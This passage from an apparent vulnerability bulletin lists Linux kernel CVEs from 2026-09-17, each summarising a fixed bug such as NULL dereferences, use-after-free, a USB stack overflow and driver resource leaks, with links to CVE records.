[ 15.409035] x17: 000000040044ffff x16: ffffa33f3b1a3d88 x15: 726f776b80000002 [ 15.409045] x14: ffffffffffffffff x13: 0000000000000028 x12: 0101010101010101 [ 15.409056] x11: 7f7f7f7f7f7f7f7f x10: fefeff3039313274 x9 : ffffa33f3a5edafc [ 15.409067] x8 : ffff8000800f3780 x7 : 0000000000000001 x6 : 0000000000000001 [ 15.409078] x5 : ffff000bf3ca1288 x4 : 0000000000000000 x3 : ffff5cccb6a3f000 [ 15.409088] x2 : 0000000000000000 x1 : 0000000000000000 x0 : ffff000080ae0000 [ 15.409098] Call trace: [ 15.409103] gdsc_toggle_logic+0x14c/0x160 (P) [ 15.409115] gdsc_disable+0x4c/0x190 [ 15.409126] _genp ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93113&quot; target=&quot;_blank&quot;&gt;CVE-2026-93113&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/surface: acpi-notify: Check ACPI companion before use Since every platform driver can be forced to match a device that doesn&#039;t match its list of device IDs because of device_match_driver_override(), platform drivers that rely on the existence of a device&#039;s ACPI companion object should verify its presence. san_probe() dereferences the result of ACPI_COMPANION() when installing the GSBUS address space handler, so force-binding the driver to a device without an ACPI companion leads to a NULL pointer dereference. The dereference was introduced when the probe function was switched from ACPI_HANDLE() to ACPI_COMPANION(). Check the ACPI companion against NULL and return -ENODEV when it is missing, like commit e4865a56d013 (&quot;ACPI: driver: Check ACPI_COMPANION() against NULL during probe&quot;) does for the core ACPI platform drivers.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93114&quot; target=&quot;_blank&quot;&gt;CVE-2026-93114&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/mellanox: mlxbf-pmc: Check ACPI_COMPANION() against NULL Every platform driver can be forced to match a device that doesn&#039;t match its list of device IDs because of device_match_driver_override(), so platform drivers that rely on the existence of a device&#039;s ACPI companion object need to verify its presence. mlxbf_pmc_probe() passes the result of ACPI_COMPANION() to acpi_device_hid(), which dereferences it, so force-binding the driver to a device without an ACPI companion leads to a NULL pointer dereference. Accordingly, add a requisite ACPI_COMPANION() check against NULL to the mlxbf-pmc driver and return -ENODEV when the companion is missing.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93115&quot; target=&quot;_blank&quot;&gt;CVE-2026-93115&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: fix UAF when probe runs concurrent to dyn ID removal Dynamic IDs are only guaranteed to be valid when usb_dynids_lock is held, as remove_id_store can free the node. Thus, make a copy in usb_probe_interface. Clarify the documentation that the id parameter is only valid during the probe. USB serial has the same pattern, but it does not need fixing as the IDs cannot be removed via sysfs.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93117&quot; target=&quot;_blank&quot;&gt;CVE-2026-93117&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: gadget: aspeed_udc: check endpoint DMA allocation ast_udc_probe() allocates a coherent DMA buffer used as the backing store for endpoint buffers. ast_udc_init_ep() derives per-endpoint buffer pointers from udc-&amp;gt;ep0_buf, so a failed allocation is dereferenced during probe. Check the allocation before endpoint setup. The existing probe error path called ast_udc_remove(), which unregisters the gadget unconditionally and is not safe before usb_add_gadget_udc() succeeds. Add a local cleanup helper for probe failures so pre-registration failures only unwind the resources that were actually initialized. This was found by a local static analysis checker for unchecked allocator returns while scanning Linux 6.16. The change was checked by applying it to current mainline and by running checkpatch. I do not have access to Aspeed UDC hardware, so no runtime testing was performed.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93118&quot; target=&quot;_blank&quot;&gt;CVE-2026-93118&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: ljca: bound bank_num in ljca_enumerate_gpio() ljca_enumerate_gpio() reads desc-&amp;gt;bank_num from the device and loops valid_pin[i] = get_unaligned_le32(...) for i &amp;lt; bank_num. valid_pin[] holds only LJCA_MAX_GPIO_NUM / 32 = 2 entries. Two checks run before the loop. The reply length must match struct_size(desc, bank_desc, bank_num). The product pins_per_bank * bank_num must not exceed LJCA_MAX_GPIO_NUM. Neither one bounds bank_num against the size of valid_pin[]. The reply is capped at LJCA_MAX_PAYLOAD_SIZE (60) bytes, so the struct_size check limits bank_num to 9. A device that reports bank_num 9 with pins_per_bank 7 still passes both checks. gpio_num is 63 and the reply is 56 bytes. The loop then writes nine u32 into the two entry array and overruns valid_pin[] on the stack. A broken or malicious LJCA device can therefore overflow the stack. Reject a bank_num that does not fit valid_pin[].&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93119&quot; target=&quot;_blank&quot;&gt;CVE-2026-93119&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: gadget: configfs: fix out-of-bounds read of qw_sign os_desc_qw_sign_show() passes OS_STRING_QW_SIGN_LEN as the input length to utf16s_to_utf8s(), but that argument counts UTF-16 code units while OS_STRING_QW_SIGN_LEN (14) is the byte size of qw_sign[]. The array holds only OS_STRING_QW_SIGN_LEN / 2 (7) code units, so the conversion reads up to 7 units (14 bytes) past the end of qw_sign[] into the following members of struct gadget_info when the stored signature fills the array without a NUL terminator, exposing those bytes through the configfs attribute. The store path halves the count for its input bound but passes the full byte count as the utf8s_to_utf16s() output limit; use the destination code-unit count in both directions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93120&quot; target=&quot;_blank&quot;&gt;CVE-2026-93120&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: serial: qcom-geni: do not advance stale DMA completions The qcom GENI serial DMA TX completion path advances the transmit fifo by the number of bytes recorded in port-&amp;gt;tx_remaining. If uart_flush_buffer() runs after the hardware has completed a DMA transfer but before the DMA completion interrupt has been handled, the serial core resets the transmit fifo while port-&amp;gt;tx_remaining still describes the old DMA transfer. A previous fix avoided advancing an empty fifo by checking that the fifo length is at least tx_remaining. That still does not distinguish the old DMA payload from new bytes written after the flush. If userspace writes new data before the stale DMA completion interrupt is handled, the fifo can again contain at least tx_remaining bytes and the stale completion can advance and discard those new bytes. Mark an in-flight DMA transfer stale when the transmit fifo is flushed. The later completion still unprepares the original DMA mapping using the saved length, but it no longer advances the transmit fifo.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93123&quot; target=&quot;_blank&quot;&gt;CVE-2026-93123&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86: asus-wireless: Fail probe when there is no ACPI match Every platform driver can be forced to match a device that does not match its list of device IDs because of device_match_driver_override(), so platform drivers that rely on the existence of a device ACPI companion object need to verify its presence. asus_wireless_probe() returns success when acpi_match_acpi_device() finds no match, leaving behind an input device that never reports anything because the notify handler is not installed. Worse, when the driver is force-bound to a device without an ACPI companion, probe still succeeds and stores a NULL companion pointer, which asus_wireless_remove() later passes to acpi_dev_remove_notify_handler(), leading to a NULL pointer dereference on unbind. Return -ENODEV when the device does not match the ID table. This also covers the missing-companion case, because acpi_match_acpi_device() rejects a NULL device. Perform the check before allocating any driver state, instead of after the input device has already been registered.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93124&quot; target=&quot;_blank&quot;&gt;CVE-2026-93124&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: remoteproc: qcom_q6v5_adsp: Fix reference leak for device node When calling of_parse_phandle_with_args(), the caller is responsible to call of_node_put() to release the reference of device node. In adsp_map_carveout, it does not release the reference.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93126&quot; target=&quot;_blank&quot;&gt;CVE-2026-93126&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86: lg-laptop: Fix LED resource handling The event notification callback might access kbd_backlight even when it was not successfully registered with the LED subsystem. The same happens inside acpi_remove(), where the LED devices are unregistered unconditionally. Fix this by tracking the availability of the kbd_backlight LED device and use devm_led_classdev_register() to let devres take care of unregistering the LED devices during removal. For this the parent device of the LED devices is changed to the native platform device.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93128&quot; target=&quot;_blank&quot;&gt;CVE-2026-93128&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86: dell-wmi-base: Fix handling of ultra performance key The commit message of commit 5fbd827eb9c2 (&quot;platform/x86: dell-wmi: Recognise or support new switches&quot;) states that the ultra performance key contains additional data after the type and code fields. The event data passed to dell_wmi_process_key() is already parsed, so &quot;buffer&quot; already starts after those two fields. Use the correct index for accessing the first data field to avoid a potential buffer overread.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93129&quot; target=&quot;_blank&quot;&gt;CVE-2026-93129&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86: dell-wmi-base: Fix resource leak on module load failure We need to properly clean up the SMBIOS request and the privacy driver when the module load fails.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93130&quot; target=&quot;_blank&quot;&gt;CVE-2026-93130&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86: dell-privacy: Fix race condition Accessing priv-&amp;gt;features_present needs to happen with the list mutex being held, otherwise priv can be freed at any moment.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93131&quot; target=&quot;_blank&quot;&gt;CVE-2026-93131&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPI: RISC-V: Fix riscv_acpi_add_prt_dep() loop handling The loop in riscv_acpi_add_prt_dep() includes error conditions that are handled in a dubious - if not outright wrong - way, by continuining the loop (which skips and misses the entry pointer update to point to the next entry). Rewrite the loop as a for loop (that handles the continuation correctly) and wrap the condition and update statements using helper functions to make it cleaner.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93132&quot; target=&quot;_blank&quot;&gt;CVE-2026-93132&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPI: RISC-V: Check acpi_get_handle() status in riscv_acpi_add_prt_dep() In riscv_acpi_add_prt_dep(), the acpi_get_handle() call can fail which would leave link_handle uninitialized. Fix it by checking the acpi_get_handle() return status and skip the entry if it fails.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93133&quot; target=&quot;_blank&quot;&gt;CVE-2026-93133&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: printk: Fix possible console use-after-free When emitting a record via legacy printing, it is possible that a handover to another legacy printing context occurs. When a context has performed a handover, the console SRCU read lock is released and the pointer to the console struct might now be invalid. Therefore, after calling nbcon_legacy_emit_next_record() or console_emit_next_record(), it is necessary to check if a handover occurred _before_ further @con usage. Sashiko pointed out that console_flush_one_record() was not doing this. In console_flush_one_record(), after emitting a record, move the further usage of @con after the handover check.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93134&quot; target=&quot;_blank&quot;&gt;CVE-2026-93134&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Reject programs with inlined helpers if JIT is not available When an architecture (such as LoongArch, ARM64, and RISC-V) implements bpf_jit_inlines_helper_call(), the verifier skips rewriting the helper call offset (insn-&amp;gt;imm) in bpf_do_misc_fixups(). This is because the helper is expected to be inlined by the JIT compiler later. Therefore, insn-&amp;gt;imm remains as the raw helper enum ID. However, if JIT is disabled at runtime (net.core.bpf_jit_enable=0) or if JIT compilation fails dynamically (e.g., due to OOM), the program falls back to the BPF interpreter. When the interpreter executes (__bpf_call_base + insn-&amp;gt;imm) with the unpatched raw ID, it jumps into an invalid address space, triggering an instruction alignment fault or a kernel panic. Although these helpers have valid C implementations in the kernel, the omission of offset rewriting makes runtime interpreter fallback fatal. Fix this by setting &#039;prog-&amp;gt;jit_required = 1&#039; when helper call rewriting is skipped for JIT inlining. This ensures that such programs are safely rejected if JIT is not available, preventing the runtime kernel panic.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93135&quot; target=&quot;_blank&quot;&gt;CVE-2026-93135&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bus: mhi: ep: Fix device refcount leak in the error path of MHI device creation mhi_ep_create_device() takes one device reference for the UL channel and another for the DL channel after allocating the transfer device. These references are normally released by mhi_ep_destroy_device() before the device itself is removed. If dev_set_name() or device_add() fails, the error path currently drops only one reference. The remaining channel references keep the device from being released and leave the channels associated with a device that was never registered. Route both failures through a common unwind path that drops the DL channel reference, the UL channel reference, and the initial reference from device_initialize().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93136&quot; target=&quot;_blank&quot;&gt;CVE-2026-93136&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/mes: Fix hung_queue_db_array loop limit for multi-XCC The loop iterated only AMDGPU_MAX_MES_PIPES times, leaving entries uninitialized for multi-XCC GPUs. This causes null pointer dereferences when accessing arrays indexed by XCC ID &amp;gt;= 2. Extend the loop to cover all XCCs (AMDGPU_MAX_MES_PIPES * num_xcc), matching other per-XCC arrays.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93139&quot; target=&quot;_blank&quot;&gt;CVE-2026-93139&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: udf: Mark LVID buffer as uptodate before marking it dirty When an I/O error occurs while writing the Logical Volume Integrity Descriptor (LVID) buffer to the block device, the block layer&#039;s completion handler (`end_buffer_write_sync()`) clears the `BH_Uptodate` flag on the buffer. However, the buffer still contains valid LVID data in memory. If the filesystem is subsequently remounted read-write or synced, `udf_open_lvid()` or `udf_sync_fs()` will modify the LVID buffer and call `mark_buffer_dirty()`. This triggers a spurious `WARN_ON_ONCE(!buffer_uptodate(bh))` warning in `mark_buffer_dirty()` because the buffer is not marked uptodate, even though its in-memory contents are valid and are about to be overwritten. To prevent this spurious warning, unconditionally set the `BH_Uptodate` flag before calling `mark_buffer_dirty()` in `udf_open_lvid()` and `udf_sync_fs()`. This acknowledges that the in-memory buffer is valid and matches the workaround previously applied to `udf_close_lvid()` in commit 853a0c25baf9 (&quot;udf: Mark LVID buffer as uptodate before marking it dirty&quot;). Extending this workaround ensures consistent behavior across all LVID updates. Buffer I/O error on dev loop0, logical block 128, lost sync page write ------------[ cut here ]------------ !buffer_uptodate(bh) WARNING: fs/buffer.c:1087 at mark_buffer_dirty+0x299/0x410 fs/buffer.c:1087 ... Call Trace: &amp;lt;TASK&amp;gt; udf_open_lvid+0x369/0x5b0 fs/udf/super.c:2078 udf_reconfigure+0x336/0x540 fs/udf/super.c:679 reconfigure_super+0x232/0x8f0 fs/super.c:1080 vfs_cmd_reconfigure fs/fsopen.c:268 [inline] vfs_fsconfig_locked+0x171/0x320 fs/fsopen.c:297 __do_sys_fsconfig fs/fsopen.c:463 [inline] __se_sys_fsconfig+0x6b9/0x810 fs/fsopen.c:350 do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94 &amp;lt;/TASK&amp;gt;&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93140&quot; target=&quot;_blank&quot;&gt;CVE-2026-93140&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: gadget: r8a66597: avoid double free of ep0_req in probe error path If usb_add_gadget_udc() fails, r8a66597_probe() jumps to err_add_udc and frees ep0_req, then falls through to clean_up2 where ep0_req is freed again when it is non-NULL. Remove the redundant free from err_add_udc and keep the cleanup in clean_up2 so the request is released exactly once. Issue found using a prototype static analysis tool and confirmed by code review.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93141&quot; target=&quot;_blank&quot;&gt;CVE-2026-93141&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: thermal/drivers/rcar: Fix error checking in probe() This code accidentally calls thermal_zone_device_enable() before checking whether thermal_zone_device_register_with_trips() failed. Move the call until later to avoid an error pointer dereference of &quot;priv-&amp;gt;zone&quot;. The driver works differently depending on if we are using OF thermal or not. We use thermal_add_hwmon_sysfs() if we are using OF thermal and call thermal_zone_device_enable() if not. We can share same error check for if either of these fail. Moving the thermal_zone_device_enable() call is a bit cleaner as well. The original code used a three step process to cleanup: 1. Call thermal_zone_device_unregister() to cleanup. 2. Set priv-&amp;gt;zone to an error pointer to preserve the error code. 3. Set priv-&amp;gt;zone to NULL to avoid a second call to thermal_zone_device_unregister() in the rcar_thermal_remove() function. Now we can just do a direct goto error_unregister and rcar_thermal_remove() handles the cleanup properly.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93142&quot; target=&quot;_blank&quot;&gt;CVE-2026-93142&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: staging: media: ipu7: fix pm_runtime refcount leak in ipu7_resume() ipu7_resume() calls pm_runtime_get_sync() before resuming the device. If the runtime PM resume fails, the usage count remains incremented, but the error path returns without dropping the reference. Use pm_runtime_resume_and_get() instead, which balances the usage count on failure and avoids the leak. Keep returning 0 on error, as resume callbacks should not propagate failures to the PM core, matching the behaviour of the ipu6 driver.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93143&quot; target=&quot;_blank&quot;&gt;CVE-2026-93143&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: clk: qcom: gdsc: tear down per-domain genpds in gdsc_unregister() gdsc_unregister() removes the OF provider entry and tears down the parent/subdomain wiring, but never calls pm_genpd_remove() on the individual generic_pm_domain structures registered by gdsc_init(): void gdsc_unregister(struct gdsc_desc *desc) { struct device *dev = desc-&amp;gt;dev; size_t num = desc-&amp;gt;num; gdsc_pm_subdomain_remove(desc, num); of_genpd_del_provider(dev-&amp;gt;of_node); } That leaves dangling entries on the global gpd_list. After a provider unbind/rebind cycle (deferred-probe replay during early boot, real module unload of a clk driver that owns GDSCs, or an OF-overlay tear- down) the next gdsc_init() will end up trying to re-register a name that is still in the list and pm_genpd_init() returns -EEXIST. While we are here, flip the order so the consumer-facing OF provider entry is the first thing removed -- otherwise a fresh of_genpd_get_from_provider() call racing with the teardown could attach to a domain that is mid-removal. Iterate the scs[] array and pm_genpd_remove() each registered domain after the subdomain links are torn down. The regulators stay devm- managed (devm_regulator_get_optional() in gdsc_register()), so the release happens automatically when the underlying device is unbound; just the genpd accounting needs to be undone explicitly.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93145&quot; target=&quot;_blank&quot;&gt;CVE-2026-93145&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: time/namespace: Validate nanosecond field in proc_timens_set_offset() The function validates tv_sec to be within [-KTIME_SEC_MAX, KTIME_SEC_MAX] but never validates that tv_nsec is within the valid range of [0, NSEC_PER_SEC-1] before using it in timespec64_add(). timespec64_add() expects both timespec64 structures to have normalized values with tv_nsec in the range [0, 999999999]. If off-&amp;gt;val.tv_nsec contains invalid values (negative or &amp;gt;= NSEC_PER_SEC), it could lead to incorrect calculations or unexpected behavior. Add validation to ensure tv_nsec is within the valid range before performing the addition.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93146&quot; target=&quot;_blank&quot;&gt;CVE-2026-93146&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211_hwsim: avoid NULL skb in stop queue drain mac80211_hwsim_stop() drops any frames left in data-&amp;gt;pending. The loop currently checks skb_queue_empty() and then dequeues separately. That split is racy with TX status handling, which can remove a pending frame under the queue lock. If the last entry is removed after the empty check, skb_dequeue() returns NULL and the stop path passes that NULL skb to ieee80211_free_txskb(). Use skb_dequeue() as the loop condition instead. The dequeue result is the object that stop owns and frees, and a concurrent status completion that empties the queue simply makes the loop terminate.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93149&quot; target=&quot;_blank&quot;&gt;CVE-2026-93149&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cgroup/cpuset: Make nr_deadline_tasks an atomic_t The nr_deadline_tasks variable in the cpuset structure was introduced by commit 6c24849f5515 (&quot;sched/cpuset: Keep track of SCHED_DEADLINE task in cpusets&quot;). It is reported by sashiko [1] that nr_deadline_tasks can currently be modified by inc_dl_tasks_cs() under rq-&amp;gt;lock and by cpuset_attach() under cpuset_mutex. So if both updates happen simultaneously, the nr_deadline_tasks variable can be corrupted leading to incorrect operations down the road. Fix that by changing its type to atomic_t so that nr_deadline_tasks are always atomically updated. This fix patch is a low hanging fruit. It can handle some of the races between a concurrent sched_setscheduler() and cpuset_can_attach()/cpuset_attach() calls, but not all of them like the other issue raised by sashiko [2]. This will be handled hopefully in a future follow up patch. [1] https://sashiko.dev/#/patchset/20260626181923.133658-1-longman%40redhat.com [2] https://sashiko.dev/#/patchset/20260630033344.352702-1-longman%40redhat.com&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93150&quot; target=&quot;_blank&quot;&gt;CVE-2026-93150&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
